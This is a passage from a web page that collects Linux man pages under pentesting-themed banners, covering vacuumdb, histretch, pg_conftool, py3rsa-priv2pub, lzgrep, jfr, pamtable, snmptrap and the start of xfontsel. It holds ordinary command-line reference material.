Specify the number of parallel workers for parallel vacuum. This allows the vacuum to leverage multiple CPUs to process indexes. See VACUUM(7).

-q
–quiet

Do not display progress messages.

–skip-locked

Skip relations that cannot be immediately locked for processing.

-t table **[ (**column [,…]) ]
**–table=**table **[ (**column [,…]) ]

Clean or analyze table only. Column names can be specified only in conjunction with the –analyze or –analyze-only options. Multiple tables can be vacuumed by writing multiple -t switches.

Tip

If you specify columns, you probably have to escape the parentheses from the shell. (See examples below.)

-v
–verbose

Print detailed information during processing.

-V
–version

Print the vacuumdb version and exit.

-z
–analyze

Also calculate statistics for use by the optimizer.

-Z
–analyze-only

Only calculate statistics for use by the optimizer (no vacuum).

–analyze-in-stages

Only calculate statistics for use by the optimizer (no vacuum), like –analyze-only. Run three stages of analyze; the first stage uses the lowest possible statistics target (see default_statistics_target) to produce usable statistics faster, and subsequent stages build the full statistics.

This option is only useful to analyze a database that currently has no statistics or has wholly incorrect ones, such as if it is newly populated from a restored dump or by pg_upgrade. Be aware that running with this option in a database with existing statistics may cause the query optimizer choices to become transiently worse due to the low statistics targets of the early stages.

-?
–help

Show help about vacuumdb command line arguments, and exit.

vacuumdb also accepts the following command-line arguments for connection parameters:

-h host
**–host=**host

Specifies the host name of the machine on which the server is running. If the value begins with a slash, it is used as the directory for the Unix domain socket.

-p port
**–port=**port

Specifies the TCP port or local Unix domain socket file extension on which the server is listening for connections.

-U username
**–username=**username

User name to connect as.

-w
–no-password

Never issue a password prompt. If the server requires password authentication and a password is not available by other means such as a .pgpass file, the connection attempt will fail. This option can be useful in batch jobs and scripts where no user is present to enter a password.

-W
–password

Force vacuumdb to prompt for a password before connecting to a database.

This option is never essential, since vacuumdb will automatically prompt for a password if the server demands password authentication. However, vacuumdb will waste a connection attempt finding out that the server wants a password. In some cases it is worth typing -W to avoid the extra connection attempt.

**–maintenance-db=**dbname

Specifies the name of the database to connect to to discover which databases should be vacuumed, when -a/–all is used. If not specified, the postgres database will be used, or if that does not exist, template1 will be used. This can be a connection string. If so, connection string parameters will override any conflicting command line options. Also, connection string parameters other than the database name itself will be re-used when connecting to other databases.

ENVIRONMENT

PGDATABASE
PGHOST
PGPORT
PGUSER

Default connection parameters

PG_COLOR

Specifies whether to use color in diagnostic messages. Possible values are always, auto and never.

This utility, like most other PostgreSQL utilities, also uses the environment variables supported by libpq (see Section 34.15).

DIAGNOSTICS

In case of difficulty, see VACUUM(7) and psql(1) for discussions of potential problems and error messages. The database server must be running at the targeted host. Also, any default connection settings and environment variables used by the libpq front-end library will apply.

NOTES

vacuumdb might need to connect several times to the PostgreSQL server, asking for a password each time. It is convenient to have a ~/.pgpass file in such cases. See Section 34.16 for more information.

EXAMPLES

To clean the database test:

$ vacuumdb test

To clean and analyze for the optimizer a database named bigdb:

$ vacuumdb –analyze bigdb

To clean a single table foo in a database named xyzzy, and analyze a single column bar of the table for the optimizer:

$ vacuumdb –analyze –verbose –table=foo(bar) xyzzy

To clean all tables in the foo and bar schemas in a database named xyzzy:

$ vacuumdb –schema=foo –schema=bar xyzzy

SEE ALSO

VACUUM(7)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1233 - Linux cli command histretch

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command histretch and provides detailed information about the command histretch, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the histretch.

NAME 🖥️ histretch 🖥️

translating binary HINT files to ASCII files

SYNOPSIS

histretch [options] [file]

DESCRIPTION

Stretching converts a binary HINT file, usually with the extension .hnt, into an ASCII based HINT file, with the extension .hint.

The binary HINT file format - also called `short’ format - is optimized for displaying HINT files. It can be parsed equally well in forward and backward direction to enable fast forward or backward navigation in the file.

The ASCII based HINT file format - also called `long’ format - is optimized for readability. It can be edited using a text editor. Hence it allows simple modifications that would be difficult to achieve when using the binary format. It is also convenient when debugging.

The binary HINT file format is designed for on-screen reading of documents. Using a HINT viewer to display a HINT file, its content will dynamically adapt to the available display area. For complete information on the HINT file format and programs to view HINT files, see https://hint.userweb.mwn.de.

OPTIONS

This version of histretch understands the following command line options:

-a
Write auxiliar files to disk using the localized path names as explained in the FILES section below.

Use this option if you are stretching a HINT file that you later want to shrink back to its binary format unless you know that you have already all the auxiliary files contained in it.

-d* bitmask*
Sets HINT file debugging flags according to the bitmask. See the –help option for details.

-f
Force the replacement of existing auxiliary files. Use this option together with the -g or -a option to make sure that already exiting auxiliary files are replaced by the auxiliary files contained in the HINT file.

WARNING: This is a dangerous option especially together with the -g option. Never use it on a HINT file of unknown origin. It will possibly replace any file on your machine you have write access to. If in doubt, don’t use the -f option.

-g
Write auxiliar files to disk using the path names as stored in the HINT file. This option is an alternative to the -a option and takes precedence if given. If in doubt, don’t use the -g option. If you just want to stretch the HINT file, then edit it, and then shrink it back to the binary format, you should use the -a option.

You may use this option if you are stretching a HINT file on the same machine and in the same directory where you have created the HINT file. Then all files will be copied to the location they came from in case they were deleted in the meantime.

If you are stretching a HINT file on one machine and the file was created on a different machine, histretch will try to copy an auxiliary file into the same directory that was used when the HINT file was created, provided that you have the necessary writing rights. This is probably where you want the auxiliary file assuming that both machines have the same directory structure.

WARNING: This is a dangerous option especially together with the -f option. Never use it on a HINT file of unknown origin. It can possibly write (and replace) any file on your machine where you have write access.

–help
Print help message and exit.

-l
Redirect standard error to a log file. The name of the log file is derived from the name of the input file replacing the extension .hnt by the extension .log.

-o* name*
Use name for the output file instead of deriving it from the name of the input file. Append the extension .hint if the name does not already has that extension.

-u
Enable the use of UTF8 character codes. Without this option, the output file is a pure ASCII file, because character codes outside the ASCII range are written using their numeric representation. With this option, the file will always represent printable characters using their UTF8 character codes. This might make the output file more readable if displayed using an UTF8 enabled program; but it might be less readable if displayed by a program that does not handle UTF8 characters properly. See also the -x option.

–version
Print version information and exit.

-x
Enable the use of hexadecimal character codes. Without this option, characters that are not represented using their character codes are represented using a decimal representation of the character code. With this option a hexadecimal representation is used. The range of character codes that have a numeric representation includes the non printable characters (character codes smaller than 32) and unless the -u option is given, the character codes with a value of 127 and above.

FILES

Binary HINT files must contain all resources necessary to display the file, for example font and image files. These files are called auxiliary files. ASCII HINT files contain only the path names of these files.

When creating a binary HINT file from an ASCII HINT file, it is necessary to find these files, read them, and include them in the binary output file. When creating an ASCII HINT file from a binary HINT file, it is convenient if these files can be extracted and written to the file system. To avoid clobbering arbitrary directories with files when extracting auxiliary files, it is possible to map the path names as stored in the HINT file to localized path names before writing or reading auxiliar files.

When computing a localized path name from a given path name, a distinction is made between global resources, like fonts, that are referenced by an absolute path name, and local resources, for example an image, that are referenced by a relative path name. The directory that starts the localized path name of the former has the extension .abs and for the latter the extension .rel is used. To keep auxiliary files in these subdirectories even if their path contains links to a parent directory, parent links `..’ are replaced by `__’ links to subdirectories.

For example, given an input file paper.hint, the global resources are stored in the paper.abs directory and local resources are stored in paper.rel. An absolute path like /usr/share/fonts/ will then map to the localized path paper.abs/usr/share/fonts/ and a relative path like ../image/img1.jpg will then map to the localized path paper.rel/__/image/img1.jpg.

NOTES

This manual page is not meant to be exhaustive. The complete documentation can be found in HINT: The file format. This document is available as a book or in electronic form from the HINT project home page at https://hint.userweb.mwn.de. There you find additional software, most importantly viewers for HINT files, and further information.

AVAILABILITY

histretch should compile on a large variety of machine architectures and operating systems. It is part of the TeX Live distribution.

SEE ALSO

hishrink(1), hitex(1),

AUTHORS

Martin Ruckert

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1234 - Linux cli command pg_conftool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_conftool and provides detailed information about the command pg_conftool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_conftool.

NAME 🖥️ pg_conftool 🖥️

read and edit PostgreSQL cluster configuration files

SYNOPSIS

pg_conftool [options] [version cluster] [configfile] command

DESCRIPTION

pg_conftool allows showing and setting parameters in PostgreSQL configuration files.

If version cluster is omitted, it defaults to the default cluster (see user_clusters (5) and postgresqlrc (5)). If configfile is omitted, it defaults to postgresql.conf. configfile can also be a path, in which case version cluster is ignored.

OPTIONS

-b, –boolean
Format boolean value as on or off (not for “show all”).

-s, –short
Show only the value (instead of key = value pair).

-v, –verbose
Verbose output.

–help
Print help.

COMMANDS

show parameter|all
Show a parameter, or all present in this config file.

set parameter value
Set or update a parameter.

remove parameter
Remove (comment out) a parameter from a config file.

edit
Open the config file in an editor. Unless $EDITOR is set, vi is used.

SEE ALSO

user_clusters (5), postgresqlrc (5)

AUTHOR

Christoph Berg <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1235 - Linux cli command py3rsa-priv2pub

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command py3rsa-priv2pub and provides detailed information about the command py3rsa-priv2pub, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the py3rsa-priv2pub.

NAME 🖥️ py3rsa-priv2pub 🖥️

priv2pub** - read a private key and output the corresponding public key

SYNOPSIS

py3rsa-priv2pub [OPTION]…

DESCRIPTION

Read a private key and output the corresponding public key. Both private and public key use the format described in PKCS#1 v1.5

OPTIONS

-h, –help
show help message and exit

-i INFILENAME, **–input=**INFILENAME
input filename. Read from stdin if not specified

-i OUTFILENAME, **–output=**OUTFILENAME
output filename. write to stdout of not specified

**–inform=**INFORM
key format of input - default PEM

**–outform=**OUTFORM
key format of output - default PEM

AUTHOR

py3rsa-priv2pub was written by Sybren A. Stuvel <sybren AT stuvel.eu>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1236 - Linux cli command lzgrep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lzgrep and provides detailed information about the command lzgrep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lzgrep.

NAME 🖥️ lzgrep 🖥️

search possibly-compressed files for patterns

SYNOPSIS

xzgrep [option…] [pattern_list] [file…]
xzegrep
xzfgrep
lzgrep
lzegrep
lzfgrep

DESCRIPTION

xzgrep invokes grep(1) on uncompressed contents of files. The formats of the files are determined from the filename suffixes. Any file with a suffix supported by xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), or lz4(1) will be decompressed; all other files are assumed to be uncompressed.

If no files are specified or file is - then standard input is read. When reading from standard input, only files supported by xz(1) are decompressed. Other files are assumed to be in uncompressed form already.

Most options of grep(1) are supported. However, the following options are not supported:

-r, –recursive

-R, –dereference-recursive

-d, **–directories=**action

-Z, –null

-z, –null-data

**–include=**glob

**–exclude=**glob

**–exclude-from=**file

**–exclude-dir=**glob

xzegrep is an alias for xzgrep -E. xzfgrep is an alias for xzgrep -F.

The commands lzgrep, lzegrep, and lzfgrep are provided for backward compatibility with LZMA Utils.

EXIT STATUS

0
At least one match was found from at least one of the input files. No errors occurred.

1
No matches were found from any of the input files. No errors occurred.

>1
One or more errors occurred. It is unknown if matches were found.

ENVIRONMENT

GREP
If GREP is set to a non-empty value, it is used instead of grep, grep -E, or grep -F.

SEE ALSO

grep(1), xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), lz4(1), zgrep(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1237 - Linux cli command jfr

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jfr and provides detailed information about the command jfr, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jfr.

NAME 🖥️ jfr 🖥️

parse and print Flight Recorder files

SYNOPSIS

To print the contents of a flight recording to standard out:

jfr print [options] file

To print metadata information about flight recording events:

jfr metadata file

To assemble chunk files into a flight recording file:

jfr assemble repository file

To disassemble a flight recording file into chunk files:

jfr disassmble [options] file

To view the summary statistics for a flight recording file:

jfr summary file

options
Optional: Specifies command-line options separated by spaces. See the individual subcomponent sections for descriptions of the available options.

file
Specifies the name of the target flight recording file (.jfr).

repository
Specifies the location of the chunk files which are to be assembled into a flight recording.

DESCRIPTION

The jfr command provides a tool for interacting with flight recorder files (.jfr). The main function is to filter, summarize and output flight recording files into human readable format. There is also support for merging and splitting recording files.

Flight recording files are created and saved as binary formatted files. Having a tool that can extract the contents from a flight recording and manipulate the contents and translate them into human readable format helps developers to debug performance issues with Java applications.

Subcommands

The jfr command has several subcommands:

  • print

  • summary

  • assemble

  • disassemble

  • metadata

jfr print subcommand

Use jfr print to print the contents of a flight recording file to standard out. The syntax is:

jfr print [--xml|--json] [--categories <filters>] [--events <filters>] [--stack-depth <depth>] <file>

where:

--xml
Print the recording in XML format

--json
Print the recording in JSON format

--categories <filters>
Select events matching a category name. The filter is a comma-separated list of names, simple and/or qualified, and/or quoted glob patterns

--events <filters>
Select events matching an event name. The filter is a comma-separated list of names, simple and/or qualified, and/or quoted glob patterns

--stack-depth <depth>
Number of frames in stack traces, by default 5

<file>
Location of the recording file (.jfr)

The default format for printing the contents of the flight recording file is human readable form unless either xml or json is specified. These options provide machine-readable output that can be further parsed or processed by user created scripts.

Use jfr --help print to see example usage of filters.

To reduce the amount of data displayed, it is possible to filter out events or categories of events. The filter operates on the symbolic name of an event, set by using the @Name annotation, or the category name, set by using the @Category annotation. If multiple filters are used, events from both filters will be included. If no filter is used, all the events will be printed. If a combination of a category filter and event filter is used, the selected events will be the union of the two filters.

For example, to show all GC events and the CPULoad event, the following command could be used:

jfr print --categories GC --events CPULoad recording.jfr

Event values are formatted according to the content types that are being used. For example, a field with the jdk.jfr.Percentage annotation that has the value 0.52 is formatted as 52%.

Stack traces are by default truncated to 5 frames, but the number can be increased/decreased using the --stack-depth command-line option.

jfr summary subcommand

Use jfr summary to print statistics for a recording. For example, a summary can illustrate the number of recorded events and how much disk space they used. This is useful for troubleshooting and understanding the impact of event settings.

The syntax is:

jfr summary <file>

where:

<file>
Location of the flight recording file (.jfr)

jfr metadata subcommand

Use jfr metadata to view information about events, such as event names, categories and field layout within a flight recording file. The syntax is:

jfr metadata <file>

where:

<file>
Location of the flight recording file (.jfr)

jfr assemble subcommand

Use jfr assemble to assemble chunk files into a recording file.

The syntax is:

jfr assemble <repository> <file>

where:

<repository>
Directory where the repository containing chunk files is located

<file>
Location of the flight recording file (.jfr)

Flight recording information is written in chunks. A chunk contains all of the information necessary for parsing. A chunk typically contains events useful for troubleshooting. If a JVM should crash, these chunks can be recovered and used to create a flight recording file using this jfr assemble command. These chunk files are concatenated in chronological order and chunk files that are not finished (.part) are excluded.

jfr disassemble subcommand

Use jfr disassemble to decompose a flight recording file into its chunk file pieces. The syntax is:

jfr disassemble [--max-chunks <chunks>] [--output <directory>] <file>

where:

--output <directory>
The location to write the disassembled file, by default the current directory

--max-chunks <chunks>
Maximum number of chunks per file, by default 5. The chunk size varies, but is typically around 15 MB.

--max-size <size>
Maximum number of bytes per file.

<file>
Location of the flight recording file (.jfr)

This function can be useful for repairing a broken file by removing the faulty chunk. It can also be used to reduce the size of a file that is too large to transfer. The resulting chunk files are named myfile_1.jfr, myfile_2.jfr, etc. If needed, the resulting file names will be padded with zeros to preserve chronological order. For example, the chunk file name is myfile_001.jfr if the recording consists of more than 100 chunks.

jfr version and help subcommands

Use jfr --version or jfr version to view the version string information for this jfr command.

To get help on any of the jfr subcommands, use:

jfr <--help|help> [subcommand]

where:

[subcommand] is any of:

  • print

  • metadata

  • summary

  • assemble

  • disassemble

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1238 - Linux cli command pamtable

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtable and provides detailed information about the command pamtable, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtable.

.

NAME 🖥️ pamtable 🖥️

print the raster as a table of numerical sample values

SYNOPSIS

pamtable

[-tuple] [-hex]

[netpbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pamtable prints the raster of a Netpbm image as a table of numerical sample values. For example, a 5-pixel wide, 2-pixel high rainbow (black, red, green, blue, white) PPM image with maxval 255 would appear as follows:

        0   0   0|255   0   0|  0 255   0|  0   0 255|255 255 255
        0   0   0|255   0   0|  0 255   0|  0   0 255|255 255 255

There are other output formats possible. See the command line options.

If you care to see only certain rows or columns, use pamcut to filter the input.

If you care to see only certain planes, use pamchannel to filter the input.

pamtable prints vertical bars between tuples, unless there is only one sample per tuple, in which case it prints a single space between tuples.

pamtable prints a single space between samples within a tuple.

For each sample, pamtable prints the numerical value from the Netpbm image, uninterpreted. It prints it in decimal, right justified in the minimum number of spaces required to print the maxval of the image.

If you want the samples to print more densely, use pamdepth to reduce the maxval (thus making the decimal numbers for the samples narrower).

The less program (not part of Netpbm) is good for browsing through the table. Use its –chop-long-lines option and use cursor movement keys to scroll around in the image.

ARGUMENTS

The only possible argument is the name of the file containing the input Netpbm image. This is optional; if you don’t specify any arguments, the input comes from Standard Input.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamtable recognizes the following command line options:

-tuple
Print the tuple values in mathematical tuple notation, like this:

        (0, 0, 0) (255, 0, 0) (0, 255, 0) (0, 0, 255) (255, 255, 255)
        (0, 0, 0) (255, 0, 0) (0, 255, 0) (0, 0, 255) (255, 255, 255)

This option was new in Netpbm 10.11.00 (September 2022).

-hex
Display sample values in hexadecimal instead of decimal.

This option is not valid with -tuple.

This option was new in Netpbm 10.11.00 (September 2022).

-verbose
Print additional messages about the processing.

SEE ALSO

pamfile(1) , pamcut(1) , pamchannel(1) , pnm(1) , pam(1) , pamslice(1) , ppmtoarbtxt(1) , ppmtoterm(1) ,

HISTORY

pamtable was new in Netpbm 10.79 (June 2017).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtable.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1239 - Linux cli command snmptrap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmptrap and provides detailed information about the command snmptrap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmptrap.

NAME 🖥️ snmptrap 🖥️

sends an SNMP notification to a manager

SYNOPSIS

snmptrap -v 1 [COMMON OPTIONS] AGENT enterprise-oid agent generic-trap specific-trap uptime [OID TYPE VALUE]…

snmptrap -v [2c|3] [COMMON OPTIONS] [-Ci] AGENT uptime trap-oid [OID TYPE VALUE]…

snmpinform -v [2c|3] [COMMON OPTIONS] AGENT uptime trap-oid [OID TYPE VALUE]…

DESCRIPTION

snmptrap is an SNMP application that uses the SNMP TRAP operation to send information to a network manager. One or more object identifiers (OIDs) can be given as arguments on the command line. A type and a value must accompany each object identifier. Each variable name is given in the format specified in variables(5).

When invoked as snmpinform, or when -Ci is added to the command line flags of snmptrap, it sends an INFORM-PDU, expecting a response from the trap receiver, retransmitting if required. Otherwise it sends an TRAP-PDU or TRAP2-PDU.

If any of the required version 1 parameters, enterprise-oid, agent, and uptime are specified as empty, it defaults to 1.3.6.1.4.1.3.1.1 (enterprises.cmu.1.1), hostname, and host-uptime respectively.

The TYPE is a single character, one of:

i
INTEGER

u
UNSIGNED

c
COUNTER32

s
STRING

x
HEX STRING

d
DECIMAL STRING

n
NULLOBJ

o
OBJID

t
TIMETICKS

a
IPADDRESS

b
BITS

which are handled in the same way as the snmpset command.

The AGENT argument is only embedded in SNMP TRAP PDUs but not in SNMP INFORM PDUs. If AGENT is not an empty string, it must be an IPv4 address. This limitation comes from RFC 1157, in which the agent address field is defined as follows:

agent-addr NetworkAddress, – address of object generating trap

From RFC 1155:

NetworkAddress ::=
CHOICE {
internet IpAddress
}
[ … ]
IpAddress ::=
[APPLICATION 0] – in network-byte order
IMPLICIT OCTET STRING (SIZE (4))

An example of how to use snmptrap:

snmptrap -v 1 -c public manager enterprises.spider test-hub 3 0 ’’ interfaces.iftable.ifentry.ifindex.1 i 1

will send a generic linkUp trap to manager, for interface 1.

OPTIONS

snmptrap takes the common options described in the snmpcmd(1) manual page in addition to the -Ci option described above. Note that snmptrap REQUIRES an argument specifying the agent to query as described there.

SEE ALSO

snmpcmd(1), snmpset(1), variables(5).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1240 - Linux cli command xfontsel

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xfontsel and provides detailed information about the command xfontsel, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xfontsel.

NAME 🖥️ xfontsel 🖥️

point and click selection of X11 font names

SYNTAX

xfontsel [-toolkitoption …] [-pattern fontname**]** [-print] [-sample text**]** [-sample16 text16**]** [-sampleUCS textUCS**]** [-scaled]

DESCRIPTION

The xfontsel application provides a simple way to display the fonts known to your X server, examine samples of each, and retrieve the X Logical Font Description (“XLFD”) full name for a font.

If -pattern is not specified, all fonts with XLFD 14-part names will be selectable. To work with only a subset of the fonts, specify -pattern followed by a partially or fully qualified font name; e.g., ``-pattern *medium*’’ will select that subset of fonts which contain the string ``medium’’ somewhere in their font name. Be careful about escaping wildcard characters in your shell.

If -print is specified on the command line the selected font specifier will be written to standard output when the quit button is activated. Regardless of whether or not -print was specified, the font specifier may be made the PRIMARY (text) selection by activating the select button.

The -sample option specifies the sample text to be used to display the selected font if the font is linearly indexed, overriding the default.

The -sample16 option specifies the sample text to be used to display the selected font if the font is matrix encoded, overriding the default.

The -sampleUCS option specifies the sample text encoded in the UTF-8 form to be used to display the selected font if the font has a CHARSET_REGISTRY of ISO10646, overriding the default.

